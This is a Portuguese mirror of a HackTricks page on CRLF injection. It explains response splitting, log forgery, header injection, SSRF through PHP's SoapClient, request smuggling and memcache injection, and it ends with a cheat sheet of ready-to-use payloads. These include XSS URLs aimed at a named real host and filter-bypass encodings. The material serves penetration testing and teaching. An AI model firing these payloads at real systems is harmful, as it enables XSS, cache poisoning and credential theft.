mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 07:31:10 +00:00
245 lines
17 KiB
Markdown
245 lines
17 KiB
Markdown
# Injeção de CRLF (%0D%0A)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_polonês fluente escrito e falado necessário_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
## O que é CRLF?
|
|
|
|
Quando um navegador envia uma solicitação a um servidor web, o servidor responde com uma resposta contendo tanto os cabeçalhos de resposta HTTP quanto o conteúdo do site, ou seja, o corpo da resposta. Os cabeçalhos HTTP e a resposta HTML (o conteúdo do site) são separados por uma combinação específica de caracteres especiais, nomeadamente um retorno de carro e uma alimentação de linha. Eles também são conhecidos como CRLF.
|
|
|
|
O servidor web usa o CRLF para entender quando um novo cabeçalho HTTP começa e outro termina. O CRLF também pode indicar a uma aplicação web ou usuário que uma nova linha começa em um arquivo ou em um bloco de texto. Os caracteres CRLF são uma mensagem padrão HTTP/1.1, portanto, são usados por qualquer tipo de servidor web, incluindo Apache, Microsoft IIS e todos os outros.\
|
|
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
|
|
|
### O que é a Vulnerabilidade de Injeção de CRLF?
|
|
|
|
Em um ataque de vulnerabilidade de injeção de CRLF, o atacante insere os caracteres de retorno de carro e alimentação de linha na entrada do usuário para enganar o servidor, a aplicação web ou o usuário, fazendo-os pensar que um objeto terminou e outro começou. Assim, as sequências de CRLF não são caracteres maliciosos, no entanto, podem ser usados com intenções maliciosas, para divisão de resposta HTTP, etc.
|
|
|
|
## Injeção de CRLF em aplicações web
|
|
|
|
Em aplicações web, uma injeção de CRLF pode ter impactos graves, dependendo do que a aplicação faz com itens individuais. Os impactos podem variar desde a divulgação de informações até a execução de código, uma vulnerabilidade direta na segurança da aplicação web. Na verdade, um ataque de injeção de CRLF pode ter repercussões muito sérias em uma aplicação web, embora nunca tenha sido listado na lista OWASP Top 10. Por exemplo, também é possível manipular arquivos de log em um painel administrativo, conforme explicado no exemplo abaixo.
|
|
|
|
#### Um exemplo de Injeção de CRLF em um arquivo de log
|
|
|
|
Imagine um arquivo de log em um painel administrativo com o padrão de saída de fluxo de IP - Hora - Caminho Visitado, como o abaixo:
|
|
```
|
|
123.123.123.123 - 08:15 - /index.php?page=home
|
|
```
|
|
Se um atacante conseguir injetar os caracteres CRLF na requisição HTTP, ele poderá alterar o fluxo de saída e falsificar as entradas de log. Ele pode mudar a resposta da aplicação web para algo como o abaixo:
|
|
```
|
|
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
|
```
|
|
Os %0d e %0a são as formas codificadas em URL de CR e LF. Portanto, as entradas de log ficariam assim depois que o atacante inserisse esses caracteres e o aplicativo os exibisse:
|
|
|
|
IP - Hora - Caminho Visitado
|
|
```
|
|
123.123.123.123 - 08:15 - /index.php?page=home&
|
|
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
|
```
|
|
Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o atacante pode falsificar entradas no arquivo de log para ofuscar suas próprias ações maliciosas. O atacante está literalmente realizando sequestro de página e modificando a resposta. Por exemplo, imagine um cenário onde o atacante tem a senha de admin e executou o parâmetro restrictedaction, que só pode ser usado por um admin.
|
|
|
|
O problema é que se o administrador notar que um IP desconhecido usou o parâmetro restrictedaction, perceberá que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um admin), isso não parece suspeito.
|
|
|
|
Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um parâmetro. Depois disso, há outro & com o parâmetro restricted action que será interpretado pelo servidor como outro parâmetro. Efetivamente, essa seria a mesma consulta como:
|
|
```
|
|
/index.php?page=home&restrictedaction=edit
|
|
```
|
|
### Divisão de Resposta HTTP
|
|
|
|
#### Descrição
|
|
|
|
Uma vez que o cabeçalho de uma resposta HTTP e seu corpo são separados por caracteres CRLF, um atacante pode tentar injetá-los. Uma combinação de CRLFCRLF indicará ao navegador que o cabeçalho terminou e o corpo começou. Isso significa que ele agora é capaz de escrever dados dentro do corpo da resposta, onde o código html é armazenado. Isso pode levar a uma vulnerabilidade de Cross-site Scripting.
|
|
|
|
#### Um exemplo de Divisão de Resposta HTTP levando a XSS
|
|
|
|
Imagine uma aplicação que define um cabeçalho personalizado, por exemplo:
|
|
```
|
|
X-Your-Name: Bob
|
|
```
|
|
```markdown
|
|
O valor do cabeçalho é definido por um parâmetro get chamado "name". Se não houver codificação de URL em vigor e o valor for diretamente refletido dentro do cabeçalho, pode ser possível para um atacante inserir a combinação mencionada de CRLFCRLF para informar ao navegador que o corpo da solicitação começa. Dessa forma, ele pode inserir dados como payload XSS, por exemplo:
|
|
```
|
|
```
|
|
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
|
|
```
|
|
O exemplo acima exibirá uma janela de alerta no contexto do domínio atacado.
|
|
|
|
#### Um exemplo de HTTP Response Splitting levando a Redirecionamento
|
|
|
|
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
|
|
|
|
Navegue para:
|
|
```
|
|
/%0d%0aLocation:%20http://myweb.com
|
|
```
|
|
E o servidor responde com o cabeçalho:
|
|
```
|
|
Location: http://myweb.com
|
|
```
|
|
**Outro exemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
|
|
```
|
|
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
|
```
|
|
#### No Caminho da URL
|
|
|
|
Você pode enviar o payload **dentro do caminho da URL** para controlar a **resposta** do servidor:
|
|
```
|
|
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
|
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
|
```
|
|
```markdown
|
|
### Injeção de Cabeçalho HTTP
|
|
|
|
#### Descrição
|
|
|
|
Ao explorar uma injeção CRLF, um atacante também pode inserir cabeçalhos HTTP que podem ser usados para derrotar mecanismos de segurança, como o filtro XSS de um navegador ou a política de mesma origem (same-origin-policy). Isso permite que o atacante obtenha informações sensíveis como tokens CSRF. Ele também pode configurar cookies que podem ser explorados ao fazer o login da vítima na conta do atacante ou ao explorar vulnerabilidades de cross-site scripting (XSS) que de outra forma seriam inexploráveis.
|
|
|
|
#### Um exemplo de Injeção de Cabeçalho HTTP para extrair dados sensíveis
|
|
|
|
Se um atacante consegue injetar os cabeçalhos HTTP que ativam o CORS (Cross Origin Resource Sharing), ele pode usar javascript para acessar recursos que de outra forma seriam protegidos pela SOP (Same Origin Policy), que impede que sites de origens diferentes acessem uns aos outros.
|
|
|
|
### Nova requisição HTTP em SSRF
|
|
|
|
Abusando da injeção CRLF, você pode **criar uma nova requisição HTTP e injetá-la**.\
|
|
Um bom exemplo pode ser feito usando o gadget de desserialização `SoapClient` em PHP. Esta classe é **vulnerável ao CRLF** dentro do parâmetro `user_agent`, permitindo **inserir novos cabeçalhos e conteúdo no corpo**. No entanto, você pode até ser capaz de abusar dessa vulnerabilidade para **injetar uma nova requisição HTTP:**
|
|
```
|
|
```php
|
|
$target = 'http://127.0.0.1:9090/test';
|
|
$post_string = 'variable=post value';
|
|
$crlf = array(
|
|
'POST /proxy HTTP/1.1',
|
|
'Host: local.host.htb',
|
|
'Cookie: PHPSESSID=[PHPSESSID]',
|
|
'Content-Type: application/x-www-form-urlencoded',
|
|
'Content-Length: '.(string)strlen($post_string),
|
|
"\r\n",
|
|
$post_string
|
|
);
|
|
|
|
$client = new SoapClient(null,
|
|
array(
|
|
'uri'=>$target,
|
|
'location'=>$target,
|
|
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
|
|
)
|
|
);
|
|
|
|
#Put a nc listening in port 9090
|
|
$client->__soapCall("test", []);
|
|
```
|
|
### Injeção de Cabeçalho para Request Smuggling
|
|
|
|
Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenha a conexão aberta** após responder à solicitação inicial:
|
|
```
|
|
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
|
```
|
|
Então, **especifique uma segunda requisição**. Aqui você tem um **clássico** [**request smuggling**](http-request-smuggling/) com **cabeçalhos/corpo extra** anexados pelo servidor após a injeção.\
|
|
Aqui estão duas das muitas opções para exploração entre usuários.
|
|
|
|
Especificando um **prefixo malicioso** para envenenar a requisição do próximo usuário ou um cache da web:
|
|
|
|
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
|
|
|
Ou criando nosso prefixo para combinar com o lixo remanescente e criar uma segunda requisição completa para acionar **response queue poisoning**.
|
|
|
|
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
|
|
|
Para mais informações sobre esta técnica e problemas potenciais [**consulte a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
|
|
|
### Injeção em Memcache
|
|
|
|
Memcache é um **armazenamento de chave-valor que usa um protocolo de texto claro**. Mais informações em:
|
|
|
|
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
|
|
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
|
{% endcontent-ref %}
|
|
|
|
Se uma plataforma está tomando **dados de uma requisição HTTP e os utilizando sem sanitização** para realizar **requisições** a um servidor **memcache**, um atacante poderia abusar desse comportamento para **injetar novos comandos memcache**.
|
|
|
|
Por exemplo, na vulnerabilidade originalmente descoberta, chaves de cache eram usadas para retornar o IP e porta que um usuário deveria se conectar, e atacantes conseguiram **injetar comandos memcache** que iriam **envenenar** o **cache para enviar os detalhes das vítimas** (incluindo nomes de usuário e senhas) para os servidores do atacante:
|
|
|
|
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Além disso, pesquisadores também descobriram que eles poderiam dessincronizar as respostas do memcache para enviar o IP e portas dos atacantes para usuários cujo email o atacante não conhecia:
|
|
|
|
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Para a informação completa leia o**[ **artigo original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
|
|
|
## Impactos da Vulnerabilidade de Injeção CRLF
|
|
|
|
O impacto das injeções CRLF varia e também inclui todos os impactos do Cross-site Scripting até a divulgação de informações. Também pode desativar certas restrições de segurança como Filtros XSS e a Política de Mesma Origem nos navegadores das vítimas, deixando-os suscetíveis a ataques maliciosos.
|
|
|
|
### Como Prevenir Injeções CRLF / HTTP Header em Aplicações Web
|
|
|
|
A melhor técnica de prevenção é não usar diretamente a entrada dos usuários dentro dos cabeçalhos de resposta. Se isso não for possível, você deve sempre usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança em aplicações web é atualizar sua linguagem de programação para uma versão que não permita que CR e LF sejam injetados dentro de funções que definem cabeçalhos HTTP.
|
|
|
|
### CHEATSHEET
|
|
```
|
|
1. HTTP Response Splitting
|
|
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
|
|
|
|
2. CRLF chained with Open Redirect
|
|
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
|
|
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
|
|
• /google.com/%2F..%0D%0AHeader-Test:test2
|
|
• /%0d%0aLocation:%20http://example.com
|
|
|
|
3. CRLF Injection to XSS
|
|
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
|
|
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
|
|
|
4. Filter Bypass
|
|
• %E5%98%8A = %0A = \u560a
|
|
• %E5%98%8D = %0D = \u560d
|
|
• %E5%98%BE = %3E = \u563e (>)
|
|
• %E5%98%BC = %3C = \u563c (<)
|
|
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
|
|
```
|
|
## Ferramentas Automáticas
|
|
|
|
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
|
|
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
|
|
|
|
## Lista de Detecção por Força Bruta
|
|
|
|
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
|
|
|
|
## Referências
|
|
|
|
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
|
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
|
|
|
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
|
|
|
Se você tem interesse em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_é necessário polonês fluente, escrito e falado_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o repositório** [**hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|